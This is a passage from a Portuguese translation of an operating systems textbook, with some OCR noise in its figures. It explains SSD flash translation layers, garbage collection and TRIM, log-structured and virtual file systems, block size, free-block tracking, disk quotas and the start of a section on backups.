Página 0 Pågina 0 Página 0 Página O Página 


Tradução Flash 


FP FP FP FP nnn - - 
Camada (FTL) Página n Página Página n 
Bloco 1 Bloco 1 Bloco 1 Bloco 1 
[Emo] - | remo] mm - 
Memória FP FP FP FR Páginan Páginan Página Pågina n Página n 


Bloco n Blocon Blocon Bloco n Bloco n 
Página, [PágimaD] Página] Página 0] [Pásimad] 
v: j D: i 


Página n Página n Pågina n Pågina n Página n 


Figura 4-20. Componentes dentro de um SSD flash típico. 


Para acessar uma página flash específica no SSD, precisamos endereçar o dado 
correspondente no pacote flash apropriado e, nesse dado, o plano, o bloco e a página corretos — 
um endereço hierárquico bastante complicado! Infelizmente, não é assim que os sistemas de 
arquivos funcionam. O sistema de arquivos simplesmente solicita a leitura de um bloco de disco 
em um endereço de disco lógico e linear. Como o SSD traduz esses endereços lógicos e os 
endereços físicos complexos no dispositivo? Aqui vai uma dica: o Flash Translation Layer não 
recebeu esse nome à toa. 

Muito parecido com o mecanismo de paginação na memória virtual, o FTL usa tabelas de 
tradução para indicar que o bloco lógico 54321 está realmente no dado 0 do pacote flash 1, no 
plano 2 e no bloco 5. Essas tabelas de tradução são úteis também para nivelamento de desgaste, 
uma vez que o dispositivo é livre para mover uma página para um bloco diferente (por exemplo, 
porque precisa ser atualizada), desde que ajuste o mapeamento na tabela de tradução. 

O FTL também se encarrega de gerenciar blocos e páginas que não são mais necessários. 
Suponha que, após excluir ou mover dados algumas vezes, um bloco flash contenha diversas 
páginas flash inválidas. Como agora apenas algumas páginas são válidas, o dispositivo pode 
liberar espaço copiando as páginas válidas restantes para um bloco que ainda tenha páginas 
livres disponíveis e, em seguida, apagando o bloco original. Isso é conhecido como coleta de 
lixo. Na realidade, as coisas são muito mais complicadas. Por exemplo, quando fazemos a coleta 
de lixo? Se fizermos isso constantemente e o mais cedo possível, isso poderá interferir nas 
solicitações de I/O do usuário. Se fizermos isso tarde demais, poderemos ficar sem blocos livres. 
Um compromisso razoável é fazê-lo durante os períodos de inatividade, quando o SSD não está 
ocupado. 
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Além disso, o coletor de lixo precisa selecionar um bloco vítima (o bloco flash a ser limpo) 
e um bloco alvo (no qual gravar os dados ativos ainda no bloco vítima). Deveria simplesmente 
escolher esses blocos de forma aleatória ou round-robin, ou tentar tomar uma decisão mais 
informada? Por exemplo, para o bloco vítima, ele deve selecionar o bloco flash com a menor 
quantidade de dados válidos, ou talvez evitar os blocos flash que já estão muito desgastados, 
ou os blocos que contêm muitos dados "quentes" (ou seja, dados que provavelmente serão 
gravados novamente em um futuro próximo)? Da mesma forma, para o bloco alvo, ele deve 
escolher com base na quantidade de espaço disponível ou na quantidade de desgaste 
acumulado no bloco flash? Além disso, deveria tentar agrupar dados quentes e frios para 
garantir que as páginas flash frias possam permanecer no mesmo bloco sem a necessidade 
de movê-las, enquanto as páginas quentes talvez sejam atualizadas juntas perto do tempo, 
para que possamos coletar as atualizações na memória e depois gravá-los em um novo bloco 
flash de uma só vez? A resposta é sim. E se você está se perguntando qual estratégia é a 
melhor, a resposta é: depende. Na verdade, os FTLs modernos usam uma combinação dessas 
técnicas. 

Claramente, a coleta de lixo é complexa e dá muito trabalho. Isso também leva a uma 
propriedade de desempenho interessante. Suponha que existam muitos blocos flash com 
páginas inválidas, mas todos eles tenham apenas um pequeno número dessas páginas. Nesse 
caso, o coletor de lixo terá que separar as páginas válidas das inválidas para muitos blocos, 
cada vez agrupando os dados válidos em novos blocos e apagando os blocos antigos para 
liberar espaço, com um custo significativo em desempenho e desgaste. Agora você consegue 
ver por que pequenas gravações aleatórias podem ser mais caras para a coleta de lixo do que 
as sequenciais? 

Na realidade, pequenas gravações aleatórias são caras, independentemente da coleta 
de lixo, se substituirem uma página flash existente em um bloco completo. O problema tem a 
ver com os mapeamentos nas tabelas de tradução. Para economizar espaço, o FTL possui 
dois tipos de mapeamentos: por página e por bloco. Se tudo fosse mapeado por página, 
precisaríamos de uma enorme quantidade de memória para armazenar a tabela de tradução. 
Sempre que possível, portanto, a FTL tenta mapear um bloco de páginas que pertencem 
juntas como uma única entrada. Infelizmente, isso também significa que modificar até mesmo 
um único byte nesse bloco invalidará o bloco inteiro e levará a muitas gravações adicionais. 
As despesas reais de gravações aleatórias dependem do algoritmo de coleta de lixo e da 
implementação geral do FTL, ambos normalmente tão secretos (e bem guardados) quanto a 
fórmula da Coca Cola. 

A dissociação entre endereços de bloco de disco lógico e endereços flash físicos cria um 
problema adicional. Com uma unidade de disco rígido, quando o sistema de arquivos exclui 
um arquivo, ele sabe exatamente quais blocos do disco estão livres para reutilização e pode 
reutilizá-los como achar melhor. Este não é o caso dos SSDs. O sistema de arquivos pode 
decidir excluir um arquivo e marcar os endereços dos blocos lógicos como livres, mas como o 
SSD saberá quais de suas páginas flash foram excluídas e, portanto, podem ser coletadas 
como lixo com segurança? A resposta é: isso não acontece e precisa ser informado 
explicitamente pelo sistema de arquivos. Para isso, o sistema de arquivos pode usar o 
comando TRIM que informa ao SSD que certas páginas flash agora estão livres. Observe que um SSD sem o TRIM 
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O comando ainda funciona (e de fato alguns sistemas operacionais funcionam sem TRIM há anos), mas 
com menos eficiência. Nesse caso, o SSD só descobriria que as páginas flash são inválidas quando o 
sistema de arquivos tentasse sobrescrevê-las. Dizemos que o comando TRIM ajuda a preencher a lacuna 
semântica entre o FTL e o sistema de arquivos — o FTL não tem visibilidade suficiente para fazer seu 
trabalho de forma eficiente sem alguma ajuda. É uma grande diferença entre sistemas de arquivos para 
discos rígidos e sistemas de arquivos para SSD. 


Vamos recapitular o que aprendemos sobre SSDs até agora. Vimos que os dispositivos flash têm 
excelente leitura sequencial, mas também um desempenho de leitura aleatória muito bom, enquanto as 
gravações aleatórias são lentas (embora ainda muito mais rápidas do que os acessos de leitura ou gravação 
em um disco). Além disso, sabemos que gravações frequentes nas mesmas células flash reduzem 
rapidamente seu tempo de vida. Por fim, vimos que fazer coisas complexas no FTL é difícil devido à lacuna 
semântica. 

A razão pela qual desejamos um novo sistema de arquivos para flash não é realmente a presença ou 
ausência de um comando TRIM, mas sim porque as propriedades exclusivas do flash o tornam uma 
combinação inadequada para sistemas de arquivos existentes, como NTFS ou ext4. Então, qual sistema 
de arquivos seria uma boa opção? Como a maioria das leituras pode ser servida a partir do cache, devemos 
observar as gravações. Também sabemos que devemos evitar gravações aleatórias e distribuí-las 
uniformemente para nivelar o desgaste. Até agora você pode estar pensando: "Espere, isso parece uma 
correspondência para um sistema de arquivos estruturado em log", e você estaria certo. 

Os sistemas de arquivos estruturados em log, com seus logs imutáveis e gravações sequenciais, parecem 
ser perfeitos para armazenamento baseado em flash. 

É claro que um sistema de arquivos estruturado em log em flash não resolve automaticamente todos 
os problemas. Em particular, considere o que acontece quando atualizamos um arquivo grande. Nos termos 
da Figura 4.15, um arquivo grande usará o bloco de disco contendo endereços de disco adicionais que 
vemos no canto inferior direito e que chamaremos de bloco indireto (único). Além de gravar a página flash 
atualizada em um novo bloco, o sistema de arquivos também precisa atualizar o bloco indireto, pois o 
endereço lógico (disco) dos dados do arquivo foi alterado. A atualização significa que a página flash 
correspondente ao bloco indireto deve ser movida para outro bloco flash. Além disso, como o endereço 
lógico do bloco indireto mudou, o sistema de arquivos também deve atualizar o próprio i-node — levando a 
uma nova gravação em um novo bloco flash. Finalmente, como o nó i está agora em um novo bloco de 
disco lógico, o sistema de arquivos também deve atualizar o mapa do nó i, levando a outra gravação no 
SSD. Em outras palavras, uma única atualização de arquivo leva a uma cascata de gravações dos 
metadados correspondentes. Em sistemas de arquivos reais estruturados em log, pode haver mais de um 
nível de indireção (com blocos indiretos duplos ou até triplos), portanto haverá ainda mais gravações. O 
fenômeno é conhecido como problema de atualização recursiva ou problema da árvore errante. 


Embora as atualizações recursivas não possam ser totalmente evitadas, é possível reduzir o impacto. 
Por exemplo, em vez de armazenar o endereço de disco real do nó i ou do bloco indireto (no mapa do nó i 
e no nó i, respectivamente), alguns sistemas de arquivos armazenam o número do bloco i-node/indireto e 
então mantêm , em uma localização fixa no disco lógico, um mapeamento global desses números 
(constantes) para endereços de blocos lógicos em 
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disco. A vantagem é que a atualização do arquivo no exemplo acima só leva a um 
atualização do bloco indireto e do mapeamento global, mas não de nenhum dos mapeamentos intermediários. 
Esta solução foi adotada no popular Flash-Friendly File System (F2FS) suportado pelo kernel Linux. 


Em resumo, embora as pessoas possam pensar no flash como um substituto imediato para 
discos magnéticos, levou a muitas mudanças no sistema de arquivos. Isso não é novidade. 
Quando os discos magnéticos começaram a substituir a fita magnética, eles levaram a muitas mudanças 
também. Por exemplo, a operação de busca foi introduzida e os pesquisadores começaram a se preocupar 
com algoritmos de escalonamento de disco. Em geral, a introdução de novas tecnologias muitas vezes leva a 
uma agitação de atividades e a mudanças no sistema operacional para torná-las mais eficientes. 
utilização optimizada das novas capacidades. 


4.3.8 Sistemas de Arquivos Virtuais 


Muitos sistemas de arquivos diferentes estão em uso — muitas vezes no mesmo computador — mesmo para 
o mesmo sistema operacional. Um sistema Windows pode ter um sistema de arquivos NTFS principal, mas 
também uma unidade ou partição FAT -32 ou FAT -16 herdada que contém arquivos antigos, mas 
ainda necessários, dados e, de vez em quando, também pode ser necessária uma unidade flash com seu 
próprio sistema de arquivos exclusivo. O Windows lida com esses sistemas de arquivos diferentes 
identificando cada um com uma letra de unidade diferente, como em C:, D:, etc. 
abre um arquivo, a letra da unidade está presente explícita ou implicitamente para que o Windows saiba 
para qual sistema de arquivos passar a solicitação. Não há nenhuma tentativa de integrar sistemas de arquivos 
heterogêneos em um todo unificado. 

Em contraste, todos os sistemas UNIX modernos fazem uma tentativa muito séria de integrar 
vários sistemas de arquivos em uma única estrutura. Um sistema Linux poderia ter ext4 como 
o sistema de arquivos raiz, com uma partição ext3 montada em /usr e um segundo disco rígido 
com um sistema de arquivos ReiserFS montado em /home , bem como um sistema de arquivos flash F2FS 
montado temporariamente em /mnt. Do ponto de vista do usuário, existe uma única hierarquia de sistema de 
arquivos. O fato de abranger vários sistemas de arquivos (incompatíveis) não é visível para usuários ou 
processos. 

No entanto, a presença de múltiplos sistemas de arquivos é definitivamente visível para o 
implementação, e desde o trabalho pioneiro da Sun Microsystems (Kleiman, 
1986), a maioria dos sistemas UNIX tem usado o conceito de VFS (Virtual File System) 
para tentar integrar vários sistemas de arquivos em uma estrutura ordenada. A ideia chave é 
abstraia aquela parte do sistema de arquivos que é comum a todos os sistemas de arquivos e coloque 
esse código em uma camada separada que chama os sistemas de arquivos concretos subjacentes para 
realmente gerenciar os dados. A estrutura geral é ilustrada na Figura 4-21. A discussão abaixo não é específica 
para Linux ou FreeBSD ou qualquer outra versão do UNIX, mas 
fornece uma ideia geral de como os sistemas de arquivos virtuais funcionam em sistemas UNIX. 

Todas as chamadas de sistema relacionadas a arquivos são direcionadas ao sistema de arquivos virtual para inicialização 
em processamento. Essas chamadas, provenientes de processos de usuário, são chamadas POSIX padrão, 
como abrir, ler, escrever, procurar e assim por diante. Assim o VFS possui uma interface "superior" 


aos processos do usuário e é a conhecida interface POSIX. 
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Figura 4-21. Posição do sistema de arquivos virtual. 


O VFS também possui uma interface "inferior" para os sistemas de arquivos concretos, que é 
interface VFS rotulada na Figura 4-21. Essa interface consiste em várias dezenas de chamadas de função que 
o VFS pode fazer para cada sistema de arquivos para realizar o trabalho. Assim, para criar um novo sistema de 
arquivos que funcione com o VFS, os projetistas do novo sistema de arquivos 
deve certificar-se de que ele fornece as chamadas de função exigidas pelo VFS. Um óbvio 
Um exemplo de tal função é aquela que lê um bloco específico do disco, coloca-o em 
o cache de buffer do sistema de arquivos e retorna um ponteiro para ele. Assim, o VFS possui duas interfaces 
distintas: a superior para os processos do usuário e a inferior para os sistemas de arquivos concretos. 


Embora a maioria dos sistemas de arquivos no VFS represente partições em um local 
disco, nem sempre é esse o caso. Na verdade, a motivação original para a Sun construir 
o VFS deveria suportar sistemas de arquivos remotos usando o NFS (Network File System) 
protocolo. O design do VFS é tal que, desde que o sistema de arquivos concreto forneça 
as funções que o VFS exige, o VFS não sabe nem se importa onde os dados estão 
armazenado ou como é o sistema de arquivos subjacente. Requer é a interface adequada 
aos sistemas de arquivos subjacentes. 

Internamente, a maioria das implementações de VFS são essencialmente orientadas a objetos, mesmo que 
eles são escritos em C em vez de C++. Existem vários tipos de objetos principais que são 
normalmente suportado. Estes incluem o superbloco (que descreve um sistema de arquivos), 
o v-node (que descreve um arquivo) e o diretório (que descreve um diretório do sistema de arquivos). Cada um 
deles tem operações (métodos) associadas que o concreto 
os sistemas de arquivos devem suportar. Além disso, o VFS possui algumas estruturas de dados internas 
para seu próprio uso, incluindo a tabela de montagem e uma série de descritores de arquivos para manter 
rastrear todos os arquivos abertos nos processos do usuário. 

Para entender como o VFS funciona, vamos analisar um exemplo cronologicamente. Quando o sistema é 
inicializado, o sistema de arquivos raiz é registrado no VFS. 
Além disso, quando outros sistemas de arquivos são montados, seja no momento da inicialização ou durante 
operação, eles também devem se registrar no VFS. Quando um sistema de arquivos é registrado, o que 
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basicamente fornece uma lista dos endereços das funções que o VFS requer, 

seja como um vetor de chamada longo (tabela) ou como vários deles, um por objeto VFS, conforme 

as demandas do VFS. Assim, uma vez que um sistema de arquivos tenha sido registrado no VFS, o VFS 
sabe como, digamos, ler um bloco dele - ele simplesmente chama o quarto (ou qualquer outro) 

função no vetor fornecido pelo sistema de arquivos. Da mesma forma, o VFS também 

sabe como executar todas as outras funções que o sistema de arquivos concreto deve fornecer: 

ele apenas chama a função cujo endereço foi fornecido quando o sistema de arquivos foi registrado. 


Depois que um sistema de arquivos for montado, ele poderá ser usado. Por exemplo, se um sistema 
de arquivos foi montado em /usr e um processo faz a cnamada 


open("/usr/include/unistd.h", O RDONLY) — 


ao analisar o caminho, o VFS vê que um novo sistema de arquivos foi montado 
/usre localiza seu superbloco pesquisando a lista de superblocos do arquivo montado 
sistemas. Feito isso, ele pode encontrar o diretório raiz do sistema de arquivos montado 
e procure o caminho include/unisid.h lá. O VFS então cria um v-node e 
faz uma chamada ao sistema de arquivos concreto para retornar todas as informações no nó i do arquivo. 
Esta informação é copiada para o v-node (na RAM), juntamente com outras informações, mais importante 
ainda, o ponteiro para a tabela de funções para chamar operações 
em v-nodes, como leitura, gravação, fechamento e assim por diante. 
Após a criação do v-node, o VFS cria uma entrada na tabela de descritores de arquivo para o processo 
de chamada e a configura para apontar para o novo v-node. (Para o 
puristas, o descritor de arquivo na verdade aponta para outra estrutura de dados que contém o 
posição atual do arquivo e um ponteiro para o nó v, mas este detalhe não é importante para 
nossos propósitos aqui.) Finalmente, o VFS retorna o descritor de arquivo para o chamador para que ele 
pode usá-lo para ler, escrever e fechar o arquivo. 
Mais tarde, quando o processo faz uma leitura usando o descritor de arquivo, o VFS localiza 
o nó v das tabelas de processo e descritor de arquivo e segue o ponteiro para o 
tabela de funções, todas elas endereços dentro do sistema de arquivos concreto em 
onde reside o arquivo solicitado. A função que lida com read agora é chamada e 
o código dentro do sistema de arquivos concreto vai e obtém o bloco solicitado. O VFS 
não tem ideia se os dados vêm do disco local, um sistema de arquivos remoto 
pela rede, um pendrive ou algo diferente. As estruturas de dados envolvidas 
são mostrados na Figura 4-22. Começando com o número do processo do chamador e o arquivo des criptor, 
sucessivamente o v-node, o ponteiro da função de leitura e a função de acesso dentro 
o sistema de arquivos concreto está localizado. 
Dessa forma, torna-se relativamente simples adicionar novos sistemas de arquivos. 
Para fazer um, os designers primeiro obtêm uma lista de chamadas de função que o VFS espera e 
em seguida, escreva seu sistema de arquivos para fornecer todos eles. Alternativamente, se o sistema de arquivos 
já existe e precisa ser portado para o VFS, então eles precisam fornecer wrap per funções que fazem o que 
o VFS precisa, geralmente criando um ou mais nativos 
chamadas para o sistema de arquivos concreto subjacente. 
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Tabela de Descritores de arquivo 


processos 


Função 
ponteiros 


escrever 
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Função 
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Figura 4-22. Uma visão simplificada das estruturas de dados e do código usado pelo VFS e pelo 
sistema de arquivos concreto para fazer uma leitura. 


4.4 GERENCIAMENTO E OTIMIZAÇÃO DO SISTEMA DE ARQUIVOS 


Fazer o sistema de arquivos funcionar é uma coisa; fazê-lo funcionar de forma eficiente e robusta na 
vida real é algo bem diferente. Nas seções a seguir, veremos alguns dos problemas envolvidos no 
gerenciamento de discos. 


4.4.1 Gerenciamento de espaço em disco 


Os arquivos normalmente são armazenados em disco, portanto o gerenciamento do espaço em 
disco é uma grande preocupação para os projetistas de sistemas de arquivos. Duas estratégias gerais 
são possíveis para armazenar um arquivo de n bytes: n bytes consecutivos de espaço em disco são 
alocados ou o arquivo é dividido em vários blocos (não necessariamente) contíguost. A mesma 
compensação está presente nos sistemas de gerenciamento de memória entre segmentação pura e paginação. 


Como vimos, armazenar um arquivo simplesmente como uma sequência contígua de bytes possui + blocos de disco, não 


blocos flash. Em geral, "bloco" significa bloco de disco , salvo indicação explícita em contrário. 
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o problema óbvio é que, se um arquivo crescer, talvez seja necessário movê-lo para o disco. O mesmo problema se 
aplica aos segmentos na memória, exceto que mover um segmento na memória é uma operação relativamente rápida 
em comparação com mover um arquivo de uma posição do disco para outra. Por esse motivo, quase todos os 


sistemas de arquivos dividem os arquivos em blocos de tamanho fixo que não precisam ser adjacentes. 


Tamanho do bloco 


Uma vez decidido armazenar arquivos em blocos de tamanho fixo, surge a questão de qual deve ser o tamanho 
do bloco. Dada a forma como os discos rígidos são organizados, o setor, a trilha e o cilindro são candidatos óbvios 
para a unidade de alocação (embora todos dependam do dispositivo, o que é um sinal de menos). Em sistemas 
baseados em flash, o tamanho da página flash é outro candidato, enquanto em um sistema de paginação, o tamanho 


da página na memória também é um concorrente importante. 


Como os discos magnéticos serviram como força de trabalho de armazenamento durante anos e levaram a 
muitas das escolhas de design, como o tamanho de bloco comum de 4 KB ainda usado hoje, vamos considerá-los 
primeiro. Em um disco rígido, ter um tamanho de bloco grande significa que cada arquivo, mesmo um arquivo de 1 
byte, ocupa um bloco inteiro. Isso também significa que arquivos pequenos desperdiçam uma grande quantidade de 
espaço em disco. Por outro lado, um tamanho de bloco pequeno significa que a maioria dos arquivos abrangerá 
vários blocos e, portanto, precisará de diversas buscas e atrasos rotacionais para lê-los, reduzindo o desempenho. 
Assim, se a unidade de alocação for muito grande, desperdiçamos espaço; se for muito pequeno, perdemos tempo. 


O tamanho do bloco de 4 KB é considerado um compromisso razoável para usuários médios. 


Como exemplo, considere um disco com 1 MB por trilha, um tempo de rotação de 8,33 ms e um tempo médio 
de busca de 5 ms. O tempo em milissegundos para ler um bloco de k bytes é então a soma dos tempos de busca, 


atraso rotacional e transferência: 
5 + 4,165 + (k/1.000.000) x 8,33 


A curva tracejada da Figura 4.23 mostra a taxa de dados para tal disco em função do tamanho do bloco. Para calcular 
a eficiência do espaço, precisamos fazer uma suposição sobre o tamanho médio do arquivo. Para simplificar, vamos 
supor que todos os arquivos tenham 4 KB. Embora isso claramente não seja verdade na prática, acontece que os 
sistemas de arquivos modernos estão repletos de arquivos de alguns kilobytes de tamanho (por exemplo, ícones, 
emojis e e-mails), portanto esse também não é um número absurdo. A curva sólida da Figura 4-23 mostra a eficiência 


do espaço em função do tamanho do bloco. 


As duas curvas podem ser entendidas da seguinte forma. O tempo de acesso para um bloco é completamente 


dominado pelo tempo de busca e pelo atraso rotacional, portanto, considerando que o acesso a um bloco custará 9 
ms, quanto mais dados forem buscados, melhor. 
Conseqguentemente, a taxa de dados aumenta quase linearmente com o tamanho do bloco (até que as transferências 
demorem tanto que o tempo de transferência comece a importar). 

Agora considere a eficiência do espaço. Com arquivos de 4 KB e blocos de 1 KB, 2 KB ou 4 KB, os arquivos 
usam 4, 2 e 1 bloco, respectivamente, sem desperdício. Com um bloco de 8 KB e arquivos de 4 KB, a eficiência de 


espaço cai para 50%, e com um bloco de 16 KB, 
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Figura 4-23. A curva tracejada (escala esquerda) fornece a taxa de dados de um disco. A curva 
sólida (escala à direita) fornece a eficiência do espaço em disco. Todos os arquivos têm 4 KB. 


caiu para 25%. Na realidade, poucos arquivos são múltiplos exatos do tamanho do bloco do disco; portanto, 
algum espaço é sempre desperdiçado no último bloco de um arquivo. 

O que as curvas mostram, contudo, é que o desempenho e a utilização do espaço estão inerentemente 
em conflito. Blocos pequenos são ruins para o desempenho, mas bons para a utilização do espaço em disco. 
Para estes dados, não há compromisso razoável disponível. O tamanho mais próximo de onde as duas curvas 
se cruzam é 64 KB, mas a taxa de dados é de apenas 6,6 MB/s e a eficiência de espaço é de cerca de 7%, 
nenhum dos quais é muito bom. Historicamente, os sistemas de arquivos escolheram tamanhos na faixa de 1 
KB a 4 KB, mas com os discos agora excedendo vários TB, talvez seja melhor aumentar o tamanho do bloco 
e aceitar o espaço desperdiçado em disco. O espaço em disco já não é mais escasso. 


Até agora analisamos o tamanho ideal do bloco da perspectiva de um disco rígido e observamos que se 
a unidade de alocação for muito grande, desperdiçaremos espaço, enquanto que se for muito pequena, 
desperdiçaremos tempo. Com o armazenamento flash, incorremos em desperdício de memória não apenas 


para blocos de disco grandes, mas também para blocos menores que não preenchem uma página flash. 
Acompanhando Blocos Livres 


Depois que o tamanho do bloco for escolhido, a próxima questão é como controlar os blocos livres. Dois 
métodos são amplamente utilizados, como mostrado na Figura 4.24. A primeira consiste em usar uma lista 
encadeada de blocos de disco, com cada bloco contendo tantos números de blocos de disco livres quanto 
couberem. Com um bloco de 1 KB e um número de bloco de disco de 32 bits, cada bloco da lista livre contém 
os números de 255 blocos livres. (É necessário um slot para o ponteiro para o próximo bloco.) Considere um 
disco de 1 TB, que possui cerca de 1 bilhão de blocos de disco. Armazenar todos esses endereços em 255 
por bloco requer cerca de 4 milhões de blocos. Geralmente, os blocos livres são usados para manter a lista 


livre, portanto o armazenamento é essencialmente gratuito. 


A outra técnica de gerenciamento de espaço livre é o bitmap. Um disco com n blocos requer um bitmap 
com n bits. Os blocos livres são representados por 1s no mapa, 
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Blocos de disco livres: 16, 17,18 


0000111011010111 
1011101101101111 
1100100011101111 


0111011101110111 


1101111101110111 


Um bloco de disco de 1 KB pode conter 256 Um bitmap 


números de bloco de disco de 32 bits 


(a) (b) 
Figura 4-24. (a) Armazenar a lista livre em uma lista vinculada. (b) Um bitmap. 


blocos alocados por Os (ou vice-versa). Para nosso exemplo de disco de 1 TB, precisamos de 1 
bilhão de bits para o mapa, o que requer cerca de 130.000 blocos de 1 KB para armazenar. Não 
é surpreendente que o bitmap exija menos espaço, pois utiliza 1 bit por bloco, contra 32 bits no 
modelo de lista vinculada. Somente se o disco estiver quase cheio (ou seja, tiver poucos blocos 
livres) o esquema de lista vinculada exigirá menos blocos que o bitmap. 

Se os blocos livres tendem a ocorrer em longas séries de blocos consecutivos, o sistema 
de lista livre pode ser modificado para acompanhar as execuções de blocos em vez de blocos 
únicos. Uma contagem de 8, 16 ou 32 bits pode ser associada a cada bloco, fornecendo o 
número de blocos livres consecutivos. Na melhor das hipóteses, um disco basicamente vazio 
poderia ser representado por dois números: o endereço do primeiro bloco livre seguido pela 
contagem de blocos livres. Por outro lado, se o disco ficar gravemente fragmentado, controlar as 
execuções será menos eficiente do que controlar os blocos individuais, porque não apenas o 
endereço deve ser armazenado, mas também a contagem. 

Este problema ilustra um problema que os projetistas de sistemas operacionais costumam 
enfrentar. Existem múltiplas estruturas de dados e algoritmos que podem ser usados para 
resolver um problema, mas escolher o melhor requer dados que os projetistas não possuem e 
não terão até que o sistema seja implantado e amplamente utilizado. E mesmo assim, os dados 
podem não estar disponíveis. Por exemplo, embora possamos medir a distribuição do tamanho 
dos arquivos e o uso do disco em um ou dois ambientes, não temos ideia se esses números 
são representativos de computadores domésticos, computadores corporativos, computadores 
governamentais, para não mencionar tablets e smartphones, e outros. 
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Voltando ao método da lista livre por um momento, apenas um bloco de ponteiros precisa ser 
mantido na memória principal. Quando um arquivo é criado, os blocos necessários são retirados 
do bloco de ponteiros. Quando acaba, um novo bloco de ponteiros é lido do disco. Da mesma 
forma, quando um arquivo é excluído, seus blocos são liberados e adicionados ao bloco de 
ponteiros da memória principal. Quando este bloco é preenchido, ele é gravado no disco. 


Sob certas circunstâncias, esse método leva a E/S de disco desnecessária. Considere a 
situação da Figura 4.25(a), na qual o bloco de ponteiros na memória tem espaço para apenas 
mais duas entradas. Se um arquivo de três blocos for liberado, o bloco do ponteiro transborda e 
precisa ser gravado no disco, levando à situação da Figura 4.25(b). Se um arquivo de três blocos 
for gravado, o bloco completo de ponteiros deverá ser lido novamente, levando-nos de volta à 
Figura 4.25(a). Se o arquivo de três blocos que acabou de ser gravado for um arquivo temporário, 
quando for liberado, será necessária outra gravação no disco para gravar o bloco completo de 
ponteiros de volta no disco. Resumindo, quando o bloco de ponteiros está quase vazio, uma série 
de arquivos temporários de curta duração pode causar muita E/S de disco. 


Disco 


Principal 
memória / 


(a) (b) (c) 


Figura 4-25. (a) Um bloco quase cheio de ponteiros para liberar blocos de disco na memória e 
três blocos de ponteiros no disco. (b) Resultado da liberação de um arquivo de três 

blocos. (c) Uma estratégia alternativa para lidar com os três blocos livres. As entradas sombreadas 
representam ponteiros para liberar blocos de disco. 


Uma abordagem alternativa que evita a maior parte dessa E/S de disco é dividir o bloco 
completo de ponteiros. Assim, em vez de passar da Figura 4-25(a) para a Figura 4-25(b), passamos 
da Figura 4-25(a) para a Figura 4-25(c) quando três blocos são liberados. Agora o sistema pode 
lidar com uma série de arquivos temporários sem realizar nenhuma E/S de disco. Se o bloco na 
memória ficar cheio, ele será gravado no disco e o bloco meio cheio do disco será lido. 

A ideia aqui é manter a maioria dos blocos de ponteiros no disco cheios (para minimizar o uso do 
disco), mas manter aquele na memória quase pela metade, para que ele possa lidar com a criação 
e remoção de arquivos sem E/S de disco no espaço livre. lista. 

Com um bitmap, também é possível manter apenas um bloco na memória, indo para o disco 
para outro somente quando ele ficar completamente cheio ou vazio. Um benefício adicional desta 
abordagem é que, ao fazer toda a alocação a partir de um único bloco do bitmap, os blocos do 
disco ficarão próximos uns dos outros, minimizando assim o movimento do braço do disco. 
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Como o bitmap é uma estrutura de dados de tamanho fixo, se o kernel for (parcialmente) paginado, o 
bitmap pode ser colocado na memória virtual e ter páginas dele paginadas conforme necessário. 


Cotas de disco 


Para evitar que as pessoas ocupem muito espaço em disco, os sistemas operacionais multiusuário 
geralmente fornecem um mecanismo para impor cotas de disco. A ideia é que o administrador do sistema 
atribua a cada usuário uma cota máxima de arquivos e blocos, e o sistema operacional garanta que os 
usuários não excedam suas cotas. Um mecanismo típico é descrito abaixo. 


Quando um usuário abre um arquivo, os atributos e endereços de disco são localizados e colocados 
em uma tabela de arquivos abertos na memória principal. Entre os atributos está uma entrada informando 
quem é o proprietário. Qualquer aumento no tamanho do arquivo será cobrado da cota do proprietário. 


Uma segunda tabela contém o registro de cota para cada usuário com um arquivo aberto no momento, 
mesmo que o arquivo tenha sido aberto por outra pessoa. Esta tabela é mostrada na Figura 4-26. 
É uma extração de um arquivo de cota em disco para os usuários cujos arquivos estão abertos no momento. 
Quando todos os arquivos forem fechados, o registro será gravado novamente no arquivo de cota. 


Abrir tabela de arquivos Tabela de cotas 


Limite de bloqueio suave 
Atributos de 
endereços de disco Limite de bloqueio rígido 
Usuário = 8 
Número atual de blocos 
Pe iro d Registro 
ontelro de cola. # Bloquear avisos restantes 
de cota 
Limite de arquivo flexível para o usuário 8 


Limite de arquivo rígido 
Número atual de arquivos 
# Avisos de arquivo restantes 


Figura 4-26. As cotas são controladas por usuário em uma tabela de cotas. 


Quando uma nova entrada é feita na tabela de arquivo aberto, um ponteiro para o registro de cota do 
proprietário é inserido nela, para facilitar a localização dos vários limites. Cada vez que um bloco é 
adicionado a um arquivo, o número total de blocos cobrados do proprietário é incrementado e uma 
verificação é feita em relação aos limites rígidos e flexíveis. O limite flexível pode ser excedido, mas o limite 
rígido não. Uma tentativa de anexar a um arquivo quando o limite de bloqueio for atingido resultará em um 
erro. Verificações análogas também existem para o número de arquivos para evitar que um usuário 
sobrecarregue todos os i-nodes. 
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Quando um usuário tenta fazer login, o sistema examina o arquivo de cota para ver se o usuário 
excedeu o limite flexível para o número de arquivos ou para o número de blocos de disco. 
Se algum dos limites for violado, um aviso será exibido e a contagem de avisos restantes será 
reduzida em um. Se a contagem chegar a zero, o usuário ignorou o aviso muitas vezes e não terá 
permissão para efetuar login. Obter permissão para efetuar login novamente exigirá alguma discussão 
com o administrador do sistema. 

Este método tem a propriedade de que os usuários possam ultrapassar seus limites flexíveis 
durante uma sessão de login, desde que removam o excesso antes de efetuar logout. Os limites 
rígidos nunca podem ser excedidos. 


4.4.2 Backups do sistema de arquivos 


A destruição de um sistema de arquivos costuma ser um desastre muito maior do que a 
destruição de um computador. Se um computador for destruído por um incêndio, raios ou uma xícara 
de café derramada no teclado, isso será irritante e custará dinheiro, mas geralmente um substituto 
pode ser adquirido com o mínimo de barulho. Computadores pessoais baratos podem até ser 
substituídos em uma hora, bastando ir a uma loja de informática (exceto nas universidades, onde a 
emissão de um pedido de compra exige três comitês, cinco assinaturas e 90 dias). 


Se o sistema de arquivos de um computador for perdido irrevogavelmente, seja devido a falhas 
de hardware ou software, restaurar todas as informações será difícil, demorado e, em muitos casos, 
impossível. Para as pessoas cujos programas, documentos, registros fiscais, arquivos de clientes, 
bancos de dados, planos de marketing ou outros dados desapareceram para sempre, as 
consequências podem ser catastróficas. Embora o sistema de arquivos não possa oferecer qualquer 
proteção contra a destruição física do equipamento e da mídia, ele pode ajudar a proteger as 
informações. É bastante simples: faça backups. Mas isso não é tão simples quanto parece. Vamos 
dar uma olhada. 

A maioria das pessoas não acha que vale a pena gastar tempo e esforço para fazer backups de 
seus arquivos — até que um belo dia seu disco morre abruptamente, momento em que a maioria 
delas passa por uma mudança instantânea de opinião. As empresas, no entanto, (geralmente) 
